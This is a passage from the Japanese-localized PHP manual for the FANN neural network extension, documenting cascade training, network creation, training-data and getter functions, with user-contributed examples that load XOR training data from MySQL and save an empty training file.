  • fann_set_cascade_candidate_limit — Sets the candidate limit
  • fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs
  • fann_set_cascade_max_cand_epochs — Sets the max candidate epochs
  • fann_set_cascade_max_out_epochs — Sets the maximum out epochs
  • fann_set_cascade_min_cand_epochs — Sets the min candidate epochs
  • fann_set_cascade_min_out_epochs — Sets the minimum out epochs
  • fann_set_cascade_num_candidate_groups — Sets the number of candidate groups
  • fann_set_cascade_output_change_fraction — Sets the cascade output change fraction
  • fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs
  • fann_set_cascade_weight_multiplier — Sets the weight multiplier
  • fann_set_error_log — Sets where the errors are logged to
  • fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data
  • fann_set_learning_momentum — Sets the learning momentum
  • fann_set_learning_rate — Sets the learning rate
  • fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data
  • fann_set_quickprop_decay — Sets the quickprop decay factor
  • fann_set_quickprop_mu — Sets the quickprop mu factor
  • fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training
  • fann_set_rprop_delta_max — Sets the maximum step-size
  • fann_set_rprop_delta_min — Sets the minimum step-size
  • fann_set_rprop_delta_zero — Sets the initial step-size
  • fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training
  • fann_set_sarprop_step_error_shift — Sets the sarprop step error shift
  • fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor
  • fann_set_sarprop_temperature — Sets the sarprop temperature
  • fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift
  • fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data
  • fann_set_train_error_function — Sets the error function used during training
  • fann_set_train_stop_function — Sets the stop function used during training
  • fann_set_training_algorithm — Sets the training algorithm
  • fann_set_weight_array — Set connections in the network
  • fann_set_weight — Set a connection in the network
  • fann_shuffle_train_data — Shuffles training data, randomizing the order
  • fann_subset_train_data — Returns an copy of a subset of the train data
  • fann_test_data — Test a set of training data and calculates the MSE for the training data
  • fann_test — Test with a set of inputs, and a set of desired outputs
  • fann_train_epoch — Train one epoch with a set of training data
  • fann_train_on_data — Trains on an entire dataset for a period of time
  • fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time
  • fann_train — Train one iteration with a set of inputs, and a set of desired outputs

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

  • ≪ Fann 関数
  • fann_cascadetrain_on_file ≫
  • PHP Manual
  • Fann 関数
  • Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

fann_cascadetrain_on_data

(PECL fann >= 1.0.0)

fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

説明

fann_cascadetrain_on_data ( resource $ann , resource $data , int $max_neurons , int $neurons_between_reports , float $desired_error ) : bool

The cascade output change fraction is a number between 0 and 1 determining how large a fraction the fann_get_MSE() value should change within fann_get_cascade_output_stagnation_epochs() during training of the output connections, in order for the training not to stagnate. If the training stagnates, the training of the output connections will be ended and new candidates will be prepared.

This training uses the parameters set using the fann_set_cascade_..., but it also uses another training algorithm as it's internal training algorithm. This algorithm can be set to either FANN_TRAIN_RPROP or FANN_TRAIN_QUICKPROP by fann_set_training_algorithm(), and the parameters set for these training algorithms will also affect the cascade training.

パラメータ

ann

ニューラルネットワークリソース。

data

ニューラルネットワークトレーニングリソース。

max_neurons

The maximum number of neurons to be added to neural network.

neurons_between_reports

The number of neurons between printing a status report. A value of zero means no reports should be printed.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on which stop function is chosen by fann_set_train_stop_function()

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_cascadetrain_on_file() - Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm

  • ≪ fann_cascadetrain_on_data
  • fann_clear_scaling_params ≫
  • PHP Manual
  • Fann 関数
  • Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm

fann_cascadetrain_on_file

(PECL fann >= 1.0.0)

fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm

説明

fann_cascadetrain_on_file ( resource $ann , string $filename , int $max_neurons , int $neurons_between_reports , float $desired_error ) : bool

Does the same as fann_cascadetrain_on_data(), but reads the training data directly from a file.

パラメータ

ann

ニューラルネットワークリソース。

filename

A file containing the data for training.

max_neurons

The maximum number of neurons to be added to neural network

neurons_between_reports

The number of neurons between printing a status report. A value of zero means no reports should be printed.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on which stop function is chosen by fann_set_train_stop_function().

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_cascadetrain_on_data() - Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Clears scaling parameters

  • ≪ fann_cascadetrain_on_file
  • fann_copy ≫
  • PHP Manual
  • Fann 関数
  • Clears scaling parameters

fann_clear_scaling_params

(PECL fann >= 1.0.0)

fann_clear_scaling_params — Clears scaling parameters

説明

fann_clear_scaling_params ( resource $ann ) : bool

Clears scaling parameters.

パラメータ

ann

ニューラルネットワークリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a fann structure

  • ≪ fann_clear_scaling_params
  • fann_create_from_file ≫
  • PHP Manual
  • Fann 関数
  • Creates a copy of a fann structure

fann_copy

(PECL fann >= 1.0.0)

fann_copy — Creates a copy of a fann structure

説明

fann_copy ( resource $ann ) : resource

Creates a copy of a fann structure.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Returns a copy of neural network resource on success, or false on error

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_test() - Test with a set of inputs, and a set of desired outputs

User Contributed Notes

There are no user contributed notes for this page.


Constructs a backpropagation neural network from a configuration file

  • ≪ fann_copy
  • fann_create_shortcut_array ≫
  • PHP Manual
  • Fann 関数
  • Constructs a backpropagation neural network from a configuration file

fann_create_from_file

(PECL fann >= 1.0.0)

fann_create_from_file — Constructs a backpropagation neural network from a configuration file

説明

fann_create_from_file ( string $configuration_file ) : resource

Constructs a backpropagation neural network from a configuration file, which have been saved by fann_save().

パラメータ

configuration_file

The configuration file path.

返り値

成功した場合にニューラルネットワークリソース、エラー時に false を返します。

参考

  • fann_save() - Saves the entire network to a configuration file

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

  • ≪ fann_create_from_file
  • fann_create_shortcut ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

fann_create_shortcut_array

(PECL fann >= 1.0.0)

fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

説明

fann_create_shortcut_array ( int $num_layers , array $layers ) : resource

Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections using an array of layers sizes.

パラメータ

num_layers

The total number of layers including the input and the output layer.

layers

An array of layers sizes.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

  • ≪ fann_create_shortcut_array
  • fann_create_sparse_array ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

fann_create_shortcut

(PECL fann >= 1.0.0)

fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

説明

fann_create_shortcut ( int $num_layers , int $num_neurons1 , int $num_neurons2 , int ...$num_neuronsN ) : resource

Creates a standard backpropagation neural network, which is not fully connected and which also has shortcut connections.

Shortcut connections are connections that skip layers. A fully connected network with shortcut connections, is a network where all neurons are connected to all neurons in later layers. Including direct connections from the input layer to the output layer.

パラメータ

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

num_neuronsN

Number of neurons in other layers.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_shortcut_array() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

  • ≪ fann_create_shortcut
  • fann_create_sparse ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

fann_create_sparse_array

(PECL fann >= 1.0.0)

fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

説明

fann_create_sparse_array ( float $connection_rate , int $num_layers , array $layers ) : resource

Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes.

パラメータ

connection_rate

The connection rate controls how many connections there will be in the network. If the connection rate is set to 1, the network will be fully connected, but if it is set to 0.5 only half of the connections will be set. A connection rate of 1 will yield the same result as fann_create_standard().

num_layers

The total number of layers including the input and the output layer.

layers

An array of layer sizes.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network, which is not fully connected

  • ≪ fann_create_sparse_array
  • fann_create_standard_array ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard backpropagation neural network, which is not fully connected

fann_create_sparse

(PECL fann >= 1.0.0)

fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected

説明

fann_create_sparse ( float $connection_rate , int $num_layers , int $num_neurons1 , int $num_neurons2 , int ...$num_neuronsN ) : resource

Creates a standard backpropagation neural network, which is not fully connected.

パラメータ

connection_rate

The connection rate controls how many connections there will be in the network. If the connection rate is set to 1, the network will be fully connected, but if it is set to 0.5 only half of the connections will be set. A connection rate of 1 will yield the same result as fann_create_standard().

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

num_neuronsN

Number of neurons in other layers.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_sparse_array() - Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard fully connected backpropagation neural network using an array of layer sizes

  • ≪ fann_create_sparse
  • fann_create_standard ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard fully connected backpropagation neural network using an array of layer sizes

fann_create_standard_array

(PECL fann >= 1.0.0)

fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes

説明

fann_create_standard_array ( int $num_layers , array $layers ) : resource

Creates a standard fully connected backpropagation neural network.

There will be a bias neuron in each layer (except the output layer), and this bias neuron will be connected to all neurons in the next layer. When running the network, the bias nodes always emits 1.

To destroy a neural network use the fann_destroy() function.

パラメータ

num_layers

The total number of layers including the input and the output layer.

layers

An array of layer sizes.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard fully connected backpropagation neural network

  • ≪ fann_create_standard_array
  • fann_create_train_from_callback ≫
  • PHP Manual
  • Fann 関数
  • Creates a standard fully connected backpropagation neural network

fann_create_standard

(PECL fann >= 1.0.0)

fann_create_standard — Creates a standard fully connected backpropagation neural network

説明

fann_create_standard ( int $num_layers , int $num_neurons1 , int $num_neurons2 , int ...$num_neuronsN ) : resource

Creates a standard fully connected backpropagation neural network.

There will be a bias neuron in each layer (except the output layer), and this bias neuron will be connected to all neurons in the next layer. When running the network, the bias nodes always emits 1.

To destroy a neural network use the fann_destroy() function.

パラメータ

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

num_neuronsN

Number of neurons in other layers.

返り値

Returns a neural network resource on success, or false on error.

参考

  • fann_create_standard_array() - Creates a standard fully connected backpropagation neural network using an array of layer sizes
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates the training data struct from a user supplied function

  • ≪ fann_create_standard
  • fann_create_train ≫
  • PHP Manual
  • Fann 関数
  • Creates the training data struct from a user supplied function

fann_create_train_from_callback

(PECL fann >= 1.0.0)

fann_create_train_from_callback — Creates the training data struct from a user supplied function

説明

fann_create_train_from_callback ( int $num_data , int $num_input , int $num_output , callable $user_function ) : resource

Creates the training data struct from a user supplied function. As the training data are numerable (data 1, data 2...), the user must write a function that receives the number of the training data set (input, output) and returns the set.

パラメータ

num_data

The number of training data

num_input

The number of inputs per training data

num_output

The number of ouputs per training data

user_function

The user supplied function with following parameters:

  • num - The number of the training data set
  • num_input - The number of inputs per training data
  • num_output - The number of ouputs per training data

The function should return an associative array with keys input and output and two array values of input and output.

返り値

成功した場合にニューラルネットワークトレーニングリソース、エラー時に false を返します。

例

例1 fann_create_train_from_callback() example

<?php
function create_train_callback($num_data, $num_input, $num_output) {
    return array(
        "input" => array_fill(0, $num_input, 1),
        "output" => array_fill(0, $num_output, 1),
    );
}

$num_data = 3;
$num_input = 2;
$num_output = 1;
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");
if ($train_data) {
    // Do something with $train_data
}
?>

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_read_train_from_file() - Reads a file that stores training data
  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

geekgirljoy at gmail dot com 21-Oct-2016 05:34
This code can be used to read training data from MySQL rather than a text file.

<?php

// MySQL for This Example:
/*
CREATE TABLE `TrainingSets` (
  `ID` int(11) NOT NULL,
  `Name` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `TrainingData` text COLLATE utf8mb4_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

ALTER TABLE `TrainingSets` ADD PRIMARY KEY (`ID`);

INSERT INTO `TrainingSets` (`ID`, `Name`, `TrainingData`) VALUES(1, 'XOR', '-1 -1\n-1\n-1 1\n1\n1 -1\n1\n1 1\n-1');

ALTER TABLE `TrainingSets` MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
*/

// This function calls pulls the TrainingData from MySQL
function get_training_data_from_db($id) {
    $table_name = "TrainingSets";
    $field = "TrainingData";
    $connection=mysqli_connect("host","username","password","database"); // change to your DB credentials
    $result=mysqli_query($connection,"SELECT $field FROM $table_name");
    $data=mysqli_fetch_assoc($result);
    mysqli_close($connection);

    return $data[$field];
}

// This function prepares the newline delimited data to be handed off to FANN
/*
Example of "newline delimited data" (like XOR in a Plain Text File) stored in MySQL:
-1 -1
-1
-1 1
1
1 1
-1
1 -1
1
*/
function prepare_data_from_db($training_data) {
    $training_data = explode( "\n", $training_data ); // convert training data rows to array
    $num_data = count($training_data);

    // Sift the data and split inputs and outputs
    for($i=0;$i<$num_data;$i++) {
      if($i % 2) { // $training_data[$i] is Output
       $training_data['outputs'][] = explode( " ", $training_data[$i]);
      }else{ // $training_data[$i] is Input
       $training_data['inputs'][] = explode( " ", $training_data[$i]);
      }
    }
    // remove the unsifted data
    foreach ($training_data as $key => $value) {
        if (is_numeric($key)) {
            unset($training_data[$key]);
        }
    }
    return $training_data; // returned the prepaired associative array
}

// This function hands the prepared data over to FANN
function create_train_callback($num_data, $num_input, $num_output) {
    global $training_data;
    global $current_dataset;

    $dataset = array("input" => $training_data['inputs'][$current_dataset],
                    "output" => $training_data['outputs'][$current_dataset]);
    $current_dataset++;

    return $dataset;
}

// Initialize the program variables
$record_id = 1; // the 'ID' for the training data in MySQL
$current_dataset = 0;
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$training_data = get_training_data_from_db($record_id); // Get the Training Data from MySQL
$training_data = prepare_data_from_db($training_data); // Prepare the data
$num_data = count($training_data["input"]); // How many sets are there?

// Hand the data over to FANN
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");

// Test for $train_data
if ($train_data) {

    // Create $ann
    $ann = fann_create_standard($num_layers, $num_input, $num_neurons, $num_output);

    // Test for $ann
    if ($ann) {
        fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
        fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

        // Train XOR ANN with training data obtainied from MySQL
        if (fann_train_on_data($ann, $train_data, $max_epochs, $epochs_between_reports, $desired_error)){
           print('XOR trained.<br>' . PHP_EOL);

           // Test $ann
           $input = array(-1, 1);
           $calc_out = fann_run($ann, $input);
           printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);

           // destore $ann
           fann_destroy($ann);
        }
    }
}
?>


Creates an empty training data struct

  • ≪ fann_create_train_from_callback
  • fann_descale_input ≫
  • PHP Manual
  • Fann 関数
  • Creates an empty training data struct

fann_create_train

(PECL fann >= 1.0.0)

fann_create_train — Creates an empty training data struct

説明

fann_create_train ( int $num_data , int $num_input , int $num_output ) : resource

Creates an empty training data struct.

パラメータ

num_data

The number of training data

num_input

The number of inputs per training data

num_output

The number of ouputs per training data

返り値

成功した場合にニューラルネットワークトレーニングリソース、エラー時に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_read_train_from_file() - Reads a file that stores training data
  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Nov-2018 07:13
The result of fann_create_train() is a "blank" or "empty" training data resource which can be saved to a file using fann_save_train().

<?php

$num_data = 4;
$num_input = 2;
$num_output = 1;

// Create an empty 'template' training resource in memory
$empty_training_resource = fann_create_train ($num_data , $num_input , $num_output);

// Save template.data
fann_save_train($empty_training_resource, 'template.data');

?>

File Saved (template.data):
4 2 1
0 0
0
0 0
0
0 0
0
0 0
0


Scale data in input vector after get it from ann based on previously calculated parameters

  • ≪ fann_create_train
  • fann_descale_output ≫
  • PHP Manual
  • Fann 関数
  • Scale data in input vector after get it from ann based on previously calculated parameters

fann_descale_input

(PECL fann >= 1.0.0)

fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters

説明

fann_descale_input ( resource $ann , array $input_vector ) : bool

Scale data in input vector after get it from ann based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

input_vector

Input vector that will be descaled

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_input() - Scale data in input vector before feed it to ann based on previously calculated parameters
  • fann_descale_output() - Scale data in output vector after get it from ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Scale data in output vector after get it from ann based on previously calculated parameters

  • ≪ fann_descale_input
  • fann_descale_train ≫
  • PHP Manual
  • Fann 関数
  • Scale data in output vector after get it from ann based on previously calculated parameters

fann_descale_output

(PECL fann >= 1.0.0)

fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters

説明

fann_descale_output ( resource $ann , array $output_vector ) : bool

Scale data in output vector after get it from ann based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

output_vector

Output vector that will be descaled

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_output() - Scale data in output vector before feed it to ann based on previously calculated parameters
  • fann_descale_input() - Scale data in input vector after get it from ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Descale input and output data based on previously calculated parameters

  • ≪ fann_descale_output
  • fann_destroy_train ≫
  • PHP Manual
  • Fann 関数
  • Descale input and output data based on previously calculated parameters

fann_descale_train

(PECL fann >= 1.0.0)

fann_descale_train — Descale input and output data based on previously calculated parameters

説明

fann_descale_train ( resource $ann , resource $train_data ) : bool

Descale input and output data based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_train() - Scale input and output data based on previously calculated parameters
  • fann_set_scaling_params() - Calculate input and output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Destructs the training data

  • ≪ fann_descale_train
  • fann_destroy ≫
  • PHP Manual
  • Fann 関数
  • Destructs the training data

fann_destroy_train

(PECL fann >= 1.0.0)

fann_destroy_train — Destructs the training data

説明

fann_destroy_train ( resource $train_data ) : bool

Destructs the training data

パラメータ

train_data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Destroys the entire network and properly freeing all the associated memory

  • ≪ fann_destroy_train
  • fann_duplicate_train_data ≫
  • PHP Manual
  • Fann 関数
  • Destroys the entire network and properly freeing all the associated memory

fann_destroy

(PECL fann >= 1.0.0)

fann_destroy — Destroys the entire network and properly freeing all the associated memory

説明

fann_destroy ( resource $ann ) : bool

Destroys the entire network and properly freeing all the associated memory.

パラメータ

ann

ニューラルネットワークリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns an exact copy of a fann train data

  • ≪ fann_destroy
  • fann_get_activation_function ≫
  • PHP Manual
  • Fann 関数
  • Returns an exact copy of a fann train data

fann_duplicate_train_data

(PECL fann >= 1.0.0)

fann_duplicate_train_data — Returns an exact copy of a fann train data

説明

fann_duplicate_train_data ( resource $data ) : resource

Returns an exact copy of a fann train data resource.

パラメータ

data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合にニューラルネットワークトレーニングリソース、エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns the activation function

  • ≪ fann_duplicate_train_data
  • fann_get_activation_steepness ≫
  • PHP Manual
  • Fann 関数
  • Returns the activation function

fann_get_activation_function

(PECL fann >= 1.0.0)

fann_get_activation_function — Returns the activation function

説明

fann_get_activation_function ( resource $ann , int $layer , int $neuron ) : int

Get the activation function for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to get activation functions for the neurons in the input layer.

The return value is one of the activation functions constants.

パラメータ

ann

ニューラルネットワークリソース。

layer

Layer number.

neuron

Neuron number.

返り値

Learning functions constant or -1 if the neuron is not defined in the neural network, or false on error.

参考

  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Returns the activation steepness for supplied neuron and layer number

  • ≪ fann_get_activation_function
  • fann_get_bias_array ≫
  • PHP Manual
  • Fann 関数
  • Returns the activation steepness for supplied neuron and layer number

fann_get_activation_steepness

(PECL fann >= 1.0.0)

fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number

説明

fann_get_activation_steepness ( resource $ann , int $layer , int $neuron ) : float

Get the activation steepness for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to get activation steepness for the neurons in the input layer.

The steepness of an activation function says something about how fast the activation function goes from the minimum to the maximum. A high value for the activation function will also give a more agressive training.

When training neural networks where the output values should be at the extremes (usually 0 and 1, depending on the activation function), a steep activation function can be used (e.g. 1.0).

The default activation steepness is 0.5.

パラメータ

ann

ニューラルネットワークリソース。

layer

Layer number

neuron

Neuron number

返り値

The activation steepness for the neuron or -1 if the neuron is not defined in the neural network, or false on error.

参考

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Get the number of bias in each layer in the network

  • ≪ fann_get_activation_steepness
  • fann_get_bit_fail_limit ≫
  • PHP Manual
  • Fann 関数
  • Get the number of bias in each layer in the network

fann_get_bias_array

(PECL fann >= 1.0.0)

fann_get_bias_array — Get the number of bias in each layer in the network

説明

fann_get_bias_array ( resource $ann ) : array

Get the number of bias in each layer in the network.

パラメータ

ann

ニューラルネットワークリソース。

返り値

An array of numbers of bias in each layer

User Contributed Notes

There are no user contributed notes for this page.


Returns the bit fail limit used during training

  • ≪ fann_get_bias_array
  • fann_get_bit_fail ≫
  • PHP Manual
  • Fann 関数
  • Returns the bit fail limit used during training

fann_get_bit_fail_limit

(PECL fann >= 1.0.0)

fann_get_bit_fail_limit — Returns the bit fail limit used during training

説明

fann_get_bit_fail_limit ( resource $ann ) : float

Returns the bit fail limit used during training.

The bit fail limit is used during training where the stop function is set to FANN_STOPFUNC_BIT.

The limit is the maximum accepted difference between the desired output and the actual output during training. Each output that diverges more than this limit is counted as an error bit. This difference is divided by two when dealing with symmetric activation functions, so that symmetric and not symmetric activation functions can use the same limit.

The default bit fail limit is 0.35.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The bit fail limit, or false on error.

参考

  • fann_set_bit_fail_limit() - Set the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


The number of fail bits

  • ≪ fann_get_bit_fail_limit
  • fann_get_cascade_activation_functions_count ≫
  • PHP Manual
  • Fann 関数
  • The number of fail bits

fann_get_bit_fail

(PECL fann >= 1.0.0)

fann_get_bit_fail — The number of fail bits

説明

fann_get_bit_fail ( resource $ann ) : int

The number of fail bits; means the number of output neurons which differ more than the bit fail limit (see fann_get_bit_fail_limit(), fann_set_bit_fail_limit()). The bits are counted in all of the training data, so this number can be higher than the number of training data.

This value is reset by fann_reset_MSE() and updated by all the same functions which also updates the MSE value (e.g. fann_test_data(), fann_train_epoch())

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of bits fail, or false on error.

参考

  • fann_get_MSE() - Reads the mean square error from the network
  • fann_reset_MSE() - Resets the mean square error from the network
  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training
  • fann_set_bit_fail_limit() - Set the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade activation functions

  • ≪ fann_get_bit_fail
  • fann_get_cascade_activation_functions ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of cascade activation functions

fann_get_cascade_activation_functions_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions

説明

fann_get_cascade_activation_functions_count ( resource $ann ) : int

The number of activation functions in the fann_get_cascade_activation_functions() array.

The default number of activation functions is 6.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of cascade activation functions, or false on error.

参考

  • fann_get_cascade_activation_functions() - Returns the cascade activation functions
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade activation functions

  • ≪ fann_get_cascade_activation_functions_count
  • fann_get_cascade_activation_steepnesses_count ≫
  • PHP Manual
  • Fann 関数
  • Returns the cascade activation functions

fann_get_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions — Returns the cascade activation functions

説明

fann_get_cascade_activation_functions ( resource $ann ) : array

The cascade activation functions array is an array of the different activation functions used by the candidates

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

The default activation functions are FANN_SIGMOID, FANN_SIGMOID_SYMMETRIC, FANN_GAUSSIAN, FANN_GAUSSIAN_SYMMETRIC, FANN_ELLIOT, FANN_ELLIOT_SYMMETRIC.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The cascade activation functions, or false on error.

参考

  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


The number of activation steepnesses

  • ≪ fann_get_cascade_activation_functions
  • fann_get_cascade_activation_steepnesses ≫
  • PHP Manual
  • Fann 関数
  • The number of activation steepnesses

fann_get_cascade_activation_steepnesses_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses

説明

fann_get_cascade_activation_steepnesses_count ( resource $ann ) : int

The number of activation steepnesses in the fann_get_cascade_activation_functions() array.

The default number of activation steepnesses is 4.

パラメータ

ann

ニューラルネットワークリソース。

返り値

